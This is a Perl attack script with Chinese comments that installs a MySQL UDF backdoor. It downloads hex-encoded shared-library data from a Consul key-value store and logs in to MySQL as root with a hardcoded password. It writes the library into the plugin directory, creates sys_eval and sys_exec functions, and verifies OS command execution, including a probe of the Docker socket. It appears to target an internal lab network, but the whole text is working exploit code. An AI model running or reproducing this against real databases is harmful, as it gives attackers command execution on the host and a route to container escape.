#!/usr/bin/perl # 文件名: mysql_udf_install.pl # 用途: 从 Consul KV 下载 UDF hex → Perl 原生 MySQL 协议连接 db_node → UNHEX 写入 → 安装 sys_eval/sys_exec → 验证 # 执行: perl mysql_udf_install.pl use strict; use IO::Socket::INET; use Digest::SHA qw(sha1); sub p3 { my $l=shift; return chr($l&0xFF).chr(($l>>8)&0xFF).chr(($l>>16)&0xFF); } # ── 参数 ── my $consul_ip = "172.20.0.20"; # consul_node 内网 IP my $mysql_ip = "172.20.0.30"; # db_node 内网 IP my $mysql_user = "root"; my $mysql_pass = "TellMeYouLoveMe"; # ── 1. 从 Consul KV 下载 UDF hex ── my $cs = IO::Socket::INET->new(PeerAddr => $consul_ip, PeerPort => 8500, Timeout => 5) or die "Consul connect failed: $!"; print $cs "GET /v1/kv/udfhex/chunk_000?raw HTTP/1.0\r\nHost:c\r\n\r\n"; my $udf_hex = ""; while (sysread($cs, my $b, 8192)) { $udf_hex .= $b } close $cs; $udf_hex =~ s/.*?\r?\n\r?\n//s; # 去掉 HTTP 响应头 $udf_hex =~ s/\s+$//g; # 去掉尾部空白 print "[*] UDF hex downloaded: " . length($udf_hex) . " chars\n"; # ── 2. MySQL TCP 连接 ── my $sk = IO::Socket::INET->new(PeerAddr => $mysql_ip, PeerPort => 3306, Timeout => 5) or die "MySQL connect failed: $!"; my $buf; $sk->recv($buf, 1024); # ── 3. 解析握手包 ── my $pos = 5; while (ord(substr($buf, $pos, 1)) != 0) { $pos++ } # 跳过 server version $pos++; # 跳过 null $pos += 4; # 跳过 connection_id my $a1 = substr($buf, $pos, 8); # auth data part1 (8B) $pos += 9; # 8B + null $pos += 7; # caps(4) + charset(1) + status(2) my $al = ord(substr($buf, $pos, 1)); # auth data 总长度 $pos += 11; # 跳过 1(auth_len_byte)+10(reserved) my $a2 = substr($buf, $pos, $al - 9); # auth data part2 $pos += $al - 8; while ($pos < length($buf) && ord(substr($buf, $pos, 1)) == 0) { $pos++ } my $pl = ""; while ($pos < length($buf) && ord(substr($buf, $pos, 1)) != 0) { $pl .= substr($buf, $pos, 1); $pos++; } # ── 4. 计算 mysql_native_password 认证 ── my $scramble = substr($a1 . $a2, 0, 20); my $h1 = sha1($mysql_pass); my $auth = $h1 ^ sha1($scramble . sha1($h1)); # ── 5. 发送认证包(pymysql 兼容格式) ── my $caps = 0x003AA20D; my $payload = pack("V", $caps) . pack("V", 16777215) . chr(0x2d) . ("\0" x 23); $payload .= "$mysql_user\0"; $payload .= chr(length($auth)) . $auth . "mysql\0$pl\0"; $payload .= chr(2) # 2 个客户端属性 (CLIENT_CONNECT_ATTRS 必须 ≥1) . chr(13) . "_client_name" . chr(7) . "pymysql" . chr(15) . "_client_version" . chr(5) . "1.0.0"; $sk->send( p3(length($payload)) . chr(1) . $payload ); $sk->recv($buf, 1024); die "AUTH FAILED\n" if ord(substr($buf, 4, 1)) == 0xFF; print "[*] MySQL auth OK\n"; # ── 6. SQL 查询函数(COM_QUERY = 0x03) ── sub sql_query { my ($sql) = @_; my $cmd = chr(3) . $sql; # COM_QUERY 命令字节 $sk->send( p3(length($cmd)) . chr(0) . $cmd ); my $all = ""; my $done = 0; while (!$done) { my $b; eval { local $SIG{ALRM} = sub { die }; alarm 5; $sk->recv($b, 16384); alarm 0 }; if ($@ || length($b) == 0) { $done = 1; last; } my $s = ord(substr($b, 4, 1)); if ($s == 0 || $s == 0xFE) { $done = 1; } elsif ($s == 0xFF) { return "ERR: " . substr($b, 9, 200); } else { my $d = substr($b, 5); $d =~ s/[^\x20-\x7e\n]//g; $all .= $d; } } return $all; } # ── 7. UNHEX 写入 UDF .so ── my $r = sql_query("SELECT UNHEX('$udf_hex') INTO DUMPFILE '/usr/lib64/mysql/plugin/udf_sys.so'"); print " Write: $r\n"; # ── 8. 安装 sys_eval / sys_exec ── $r = sql_query("DROP FUNCTION IF EXISTS sys_eval"); print " Drop: $r\n"; $r = sql_query("CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf_sys.so'"); print " sys_eval: $r\n"; $r = sql_query("DROP FUNCTION IF EXISTS sys_exec"); print " Drop: $r\n"; $r = sql_query("CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'udf_sys.so'"); print " sys_exec: $r\n"; # ── 9. 验证 ── print "[*] Verification:\n"; print " id: " . sql_query("SELECT sys_eval('id')") . "\n"; print " groups: " . sql_query("SELECT sys_eval('groups')") . "\n"; print " sock: " . sql_query("SELECT sys_eval('ls -la /var/run/docker.sock')") . "\n"; close $sk; print "[*] Done!\n";